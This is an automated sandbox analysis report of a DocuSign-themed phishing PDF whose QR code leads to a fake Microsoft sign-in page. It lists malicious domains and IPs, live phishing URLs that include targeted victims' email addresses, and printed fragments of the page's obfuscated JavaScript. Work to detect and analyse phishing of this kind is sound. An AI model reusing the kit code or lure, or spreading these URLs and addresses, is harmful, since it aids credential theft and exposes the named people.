Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://2043758164-1323985617.cos.sa-saopaulo.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://docusign.legalcloudfiles.com/S06ga?e=ecastillo@seguridadamerica.com	0%	Avira URL Cloud	safe
https://2043758164.cloudhostbuilder.com/next.php	100%	Avira URL Cloud	malware
https://docusign.legalcloudfiles.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
2043758164.cloudhostbuilder.com	69.49.230.198	true	false	high
docusign.legalcloudfiles.com	172.67.210.82	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
cos.sa-saopaulo.myqcloud.com	43.135.205.15	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	142.250.185.196	true	false	high
2043758164-1323985617.cos.sa-saopaulo.myqcloud.com	unknown	unknown	false	high
aadcdn.msftauth.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://2043758164-1323985617.cos.sa-saopaulo.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/901efb0f7f1b5e5f/1736871914683/c9f828323d80e73e9f1538f58e28145cb28549909e74653787713ca7511ba2c0/mGcs40MC0Uk9mog	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901efb0f7f1b5e5f/1736871914687/uYZGlLVFPQ1W7R0	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://2043758164.cloudhostbuilder.com/next.php	false	Avira URL Cloud: malware	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901ef7f939e87c7b&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/51f1t/0x4AAAAAAA5MvjXmVop0v3Nh/auto/fbE/normal/auto/	false		high
https://docusign.legalcloudfiles.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/427550357:1736867636:Hrl0drLFPAO-Ioo5MdhbNq5JwydQFL51g-oXKOylUNU/901ef7f939e87c7b/Z5aISIW_TSn9ba9pF6og4BMGRFTNjYoaFF0Otno7.Gc-1736871786-1.1.1.1-CLzlNdn4WtHbHgAVgTnC_5ne1ArYaE733E2dAdhgXBgpDRodqZaBSvZm0.NEEf76	false		high
https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js	false		high
https://a.nel.cloudflare.com/report/v4?s=01ICfW1t0CMra4bjozcROdKJQCtgAS50puxELdnvn9N0LcAhSOfj77P6t6V5dvkXoIxeUV2mhQR%2BdBk8tHtXUiVv8Mekj8f6Q%2F9C1B%2FpY9Js9pXmbwrS9RsmjWNCvyWwhpg090TAkVvP2gaf4mSj	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/901ef7f939e87c7b/1736871788138/0b4d96bbec8e5a8086a586bdf9aa6c0898c981bb733b13a72e8175943b928a42/XaIEhYpzMd8fGPW	false		high
https://docusign.legalcloudfiles.com/S06ga?e=ecastillo@seguridadamerica.com	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com	true		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901efb0f7f1b5e5f&lang=auto	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901ef7f939e87c7b/1736871788142/WDV5ROEEdAhPiNm	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://getbootstrap.com/)	chromecache_205.5.dr, chromecache_196.5.dr	false	high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_205.5.dr, chromecache_209.5.dr, chromecache_190.5.dr, chromecache_196.5.dr	false	high
https://getbootstrap.com)	chromecache_209.5.dr, chromecache_190.5.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_205.5.dr, chromecache_209.5.dr, chromecache_190.5.dr, chromecache_196.5.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_206.5.dr, chromecache_188.5.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.210.82	docusign.legalcloudfiles.com	United States	13335	CLOUDFLARENETUS	false
43.157.144.205	unknown	Japan	4249	LILLY-ASUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
69.49.230.198	2043758164.cloudhostbuilder.com	United States	46606	UNIFIEDLAYER-AS-1US	false
43.135.205.15	cos.sa-saopaulo.myqcloud.com	Japan	4249	LILLY-ASUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.4
192.168.2.6
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591086
Start date and time:	2025-01-14 17:22:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ecastillo-In Service Agreement.pdf
Detection:	MAL
Classification:	mal76.phis.winPDF@30/86@44/17
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 184.28.88.176, 142.250.185.227, 142.250.181.238, 142.251.168.84, 162.159.61.3, 172.64.41.3, 2.16.168.107, 2.16.168.105, 142.250.184.206, 172.217.18.14, 172.217.16.206, 142.250.186.78, 172.217.23.110, 142.250.185.110, 2.22.50.144, 142.250.185.99, 142.250.186.174, 142.250.80.110, 74.125.0.102, 142.250.184.238, 172.217.18.110, 142.250.185.74, 142.250.185.106, 142.250.185.202, 142.250.185.234, 142.250.186.106, 216.58.212.170, 142.250.185.170, 142.250.186.42, 172.217.16.138, 142.250.186.170, 142.250.181.234, 172.217.18.106, 142.250.186.138, 142.250.186.74, 142.250.184.202, 216.58.206.74, 216.58.206.42, 142.250.185.138, 3.233.129.217, 2.23.242.162, 23.56.162.204, 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, redirector.gvt1.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, r1---sn-t0aekn7e.gvt1.com, wu-b-net.trafficmanager.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, aadcdn.msauth.net, p13n.adobe.io, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, www.tm.aadcdn.msftauth.akadns.net, edgedl.me.gvt1.com, armmf.adobe.com, aadcdnoriginwus2.afd.azureedge.net, r1.sn-t0aekn7e.gvt1.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Source	URL
Screenshot	https://docusign.legalcloudfiles.com/S06ga?e=ecastillo@seguridadamerica.com

LLM Input / Output

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown
URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecas... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a simple form submission function, which is a common and legitimate behavior. While it does not demonstrate any high-risk indicators, the lack of context around the form's purpose and the target domain means it requires further review to ensure there are no underlying security concerns." }
function KarmaSpark() { document.forms[0].submit(); }
URL: https://legalcloudfiles.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://legalcloudfiles.com
URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecas... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of the 'astronomy' function to extract and decode a parameter from the URL, and the subsequent assignment of the decoded value to the 'rh13z8jemt' variable, suggests the potential for malicious activity. The script also contains a significant amount of irrelevant and obfuscated text, further raising suspicion. Overall, this script demonstrates a high risk of malicious intent and should be thoroughly investigated." }
const astronomy = (name) => { name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]'); var regex = new RegExp('[\\?&]' + name + '=([^&#]*)'); var results = regex.exec(location.search); // Dolore ex consectetur eu corned beef boudin alcatra nostrud biltong exercitation rump. Aute excepteur cupim pastrami adipisicing tenderloin ham strip steak consectetur cow dolore sausage chislic bacon tri-tip. Leberkas kevin nulla flank brisket beef ribs. Corned beef dolore frankfurter, shankle minim porchetta incididunt cupim fatback ipsum sausage pancetta. Doner officia t-bone jowl, pancetta dolore laboris. Labore shank pork chop culpa. Ea sint commodo minim tenderloin, bacon dolore kevin fugiat salami in deserunt capicola aute meatloaf. Pork aliqua pork belly incididunt, sunt andouille tenderloin ea burgdoggen qui brisket doner esse ut enim. Tenderloin prosciutto ullamco laboris meatball ut pork sint anim filet mignon in commodo. Beef ribeye dolore filet mignon, ut buffalo boudin exercitation consequat sausage officia pancetta jowl in picanha. Shankle beef id mollit, tri-tip cillum magna sed andouille salami flank. Fugiat biltong jerky, meatloaf enim beef deserunt filet mignon ullamco swine. Eiusmod fatback sunt, aliquip mollit id chislic sausage. Dolore fugiat incididunt ball tip t-bone exercitation, doner non burgdoggen veniam ipsum spare ribs jerky. Esse kevin lorem jowl. return results === null ? '' : decodeURIComponent(results[1].replace(/\+/g, ' ')); } // Swine pancetta et do drumstick duis bacon veniam ribeye incididunt andouille buffalo. Aliqua turducken capicola in exercitation short ribs rump deserunt. Aliquip chislic et t-bone pastrami commodo elit turducken in id. Prosciutto in incididunt, fatback magna ex chicken. Tail chicken consequat veniam incididunt ground round burgdoggen reprehenderit meatloaf salami jerky aute kielbasa. Ad dolor pork belly shoulder qui strip steak ea picanha proident rump labore chuck. In ut porchetta, irure fatback t-bone do ham chicken rump incididunt sausage. Esse meatball chicken bresaola ullamco in. Ribeye shank nulla, ut pastrami cupim lorem laboris ground round voluptate strip steak beef esse. Pig short loin porchetta fugiat filet mignon duis lorem aliqua kevin id sunt. Bacon aliquip ham beef ribs, aute shank turducken. Frankfurter consequat jerky, pancetta pork officia bacon enim capicola est salami rump chuck. Leberkas shank t-bone aliquip. Sausage consequat jerky cillum, salami picanha venison duis cupidatat short loin chislic id et swine pancetta. In fatback landjaeger ut pastrami prosciutto voluptate, doner pariatur ut et magna commodo bacon rump. rh13z8jemt = astronomy('e') == '' ? rh13z8jemt : astronomy('e'); rh13z8jemt = atob(rh13z8jemt);
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You have a secured document to review and sign today.", "prominent_button_name": "SCAN THE BARCODE TO REVIEW DOCUMENT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": true, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "Seguridad America" ] }
	{ "brands": [ "Seguridad America" ] }
URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Enter password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://docusign.legalcloudfiles.com/S06ga/?e=ecastillo@seguridadamerica.com Model: Joe Sandbox AI	```json{ "legit_domain": "docusign.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with domains like microsoft.com.", "The URL 'docusign.legalcloudfiles.com' does not match the legitimate domain for Microsoft, which is a red flag.", "The domain 'legalcloudfiles.com' is not associated with Microsoft or DocuSign, which is suspicious.", "The presence of 'docusign' in the subdomain suggests an attempt to impersonate DocuSign, which is a well-known brand.", "The input field 'Enter password' is a common phishing tactic to capture sensitive information." ], "riskscore": 9} Google indexed: False
URL: docusign.legalcloudfiles.com Brands: Microsoft Input Fields: Enter password

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.10.207	http://desifoodcorner.wb4.xyz/	Get hash	malicious	Unknown	Browse	maxcdn.bootstrapcdn.com/font-awesome/4.7.0/fonts/fontawesome-webfont.woff2?v=4.7.0
	SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.10211.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.32268.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.6905.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.21631.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
	SecuriteInfo.com.Exploit.Siggen3.17149.14541.xls	Get hash	malicious	Unknown	Browse	netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
172.67.210.82	https://docusign.legalcloudfiles.com/S06ga?e=clopez@autopistacentral.cl	Get hash	malicious	HTMLPhisher	Browse
172.67.210.82	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse
43.157.144.205	https://docusign.legalcloudfiles.com/S06ga?e=clopez@autopistacentral.cl	Get hash	malicious	HTMLPhisher	Browse
	https://rfqdocu.construction-org.com/Q5kL4/	Get hash	malicious	HTMLPhisher	Browse
	https://forms.office.com/Pages/ShareFormPage.aspx?id=xW69F1aTs06UvACEsnZeONWs3ov4-fZJk9ZDjpIIN5tUMUFMSUpJVVFUWEtHTFlURVNUWE1QV1hXQi4u&sharetoken=2Z2A4vYPJAA4bBGx5zDg	Get hash	malicious	HTMLPhisher	Browse
	Play.VN-_E_CQDM.html	Get hash	malicious	HTMLPhisher	Browse
	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fjustworks.app.link%2F%3F%24deeplink_path=%2Falerts%2Ftime_off_requests%2F13a6b7f0-b2ae-4165-87b0-da6673653a54%26%24fallback_url=http%253A%252F%252Fwww.google.com.sg%252Furl%253Fsa%253Dt%2526esrc%253DYUM58NDu%2526source%253D%2526rct%253D304J%2526%2526cd%253D256Du%2526uact%2526url%253Damp%252Fs%252F%2573%2579%2573%2562%2569%257A%257A%252E%2569%256E%252F%252E%2564%2572%2565%256E%2574%256F%2570%252F%23dm1hbnRocmlwcmFnYWRhQG1vbnRyb3NlLWVudi5jb20=/1/0100019291d15735-3d3bd509-ef84-4bb4-a854-1b8c9d0b05f9-000000/-gk1ZN3uoUfApTKZkXOmptm9MGY=396	Get hash	malicious	Unknown	Browse
	Play-Audio_Now(Steven.haerle)CLQD.html	Get hash	malicious	HTMLPhisher	Browse
	https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse
	https://khb5eidlxf5y-1323921533.cos.sa-saopaulo.myqcloud.com/khb5eidlxf5y.html?e=support@eso.com	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
docusign.legalcloudfiles.com	https://docusign.legalcloudfiles.com/S06ga?e=clopez@autopistacentral.cl	Get hash	malicious	HTMLPhisher	Browse	172.67.210.82
	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	172.67.210.82
	Cardfactory Executed Agreement DocsID- Sign & Review..eml	Get hash	malicious	HTMLPhisher	Browse	104.21.37.156
s-part-0017.t-0009.t-msedge.net	http://www.affordablehousing.com/MaineCWL	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://apple.com@jtkink.com/dff/ffd/qDy3TYxPfBVOljqb6egyT/YWRyaWFubWFyc2hAbmhzLm5ldA==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Payment Receipt.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.45
	https://microsoft-visio.en.softonic.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://loginmicrosoftonline.al-mutaheda.com/expiration/notice/nRrRc/receiving@accel-inc.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	tpmbypassprivatestore.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	hhcqxkb.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	Subscription_Renewal_Receipt_2025.htm	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://www.xrmtoolbox.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://forrestore.com/static/apps/437.zip	Get hash	malicious	Unknown	Browse	13.107.246.45
maxcdn.bootstrapcdn.com	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fjobuli.in%2Fwinner%2FsXtxg%2FbWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWlFNCZtc3ZDNCYzMzMmRTQmdW9mdW9wZDEzJjMzJml0ZnNnZnMzMyZFNCZ3anZyZi5xdXVpMTMmYnVmbkQ0JjEzJjEzJjEzJjEzJkIxJkY0JjMzJjkuR1VWMzMmRTQmdWZ0c2JpZDEzJmJ1Zm5ENCYxMyYxMyYxMyYxMyZCMSZGNCZlYmZpRDQmQjEmRjQmbW51aUQ0JkIxJkY0Jm9icXRHMyZENCZkazdoWlZENCZ0ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	https://www.tiktok.com/link/v2?aid=1988&lang=en&scene=bio_url&target=https%3A%2F%2Fgoogle.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%253Dhttps%3A%2F%2Fwww.google.com%2Furl%3Fq%3D.%2F%2F%2F%2Famp%2Fs%2Fmessagupdates.courtfilepro.com%2FVTtMa	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://1143b54.wcomhost.com/	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://bu9.fysou.web.id/webs6/cx.aktifkn.fiturr	Get hash	malicious	Unknown	Browse	104.18.10.207
	http://bu9.fysou.web.id/webs6/aktrfn.fitur.pylter	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://gthlcanada.com	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://docusign.legalcloudfiles.com/S06ga?e=clopez@autopistacentral.cl	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Scan.html	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	https://docusign.legalcloudfiles.com/S06ga?e=kelly.wright@sanctuary-housing.co.uk	Get hash	malicious	HTMLPhisher	Browse	104.18.10.207
	http://organismekina8at-my.sharepoint.com/:f:/g/personal/mariejoelle_tremblay_kina8at_ca/ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw	Get hash	malicious	Unknown	Browse	104.18.11.207
stackpath.bootstrapcdn.com	https://bankersonline.emlnk1.com/lt.php?x=3DZy~GDKVXafEpOq0AE4hRad~XEkk_HzluhlXXTGVXjNDHz~_Uy.0eht1H_zk_D2kvY3bHHJJ3ab62	Get hash	malicious	Unknown	Browse	104.18.11.207
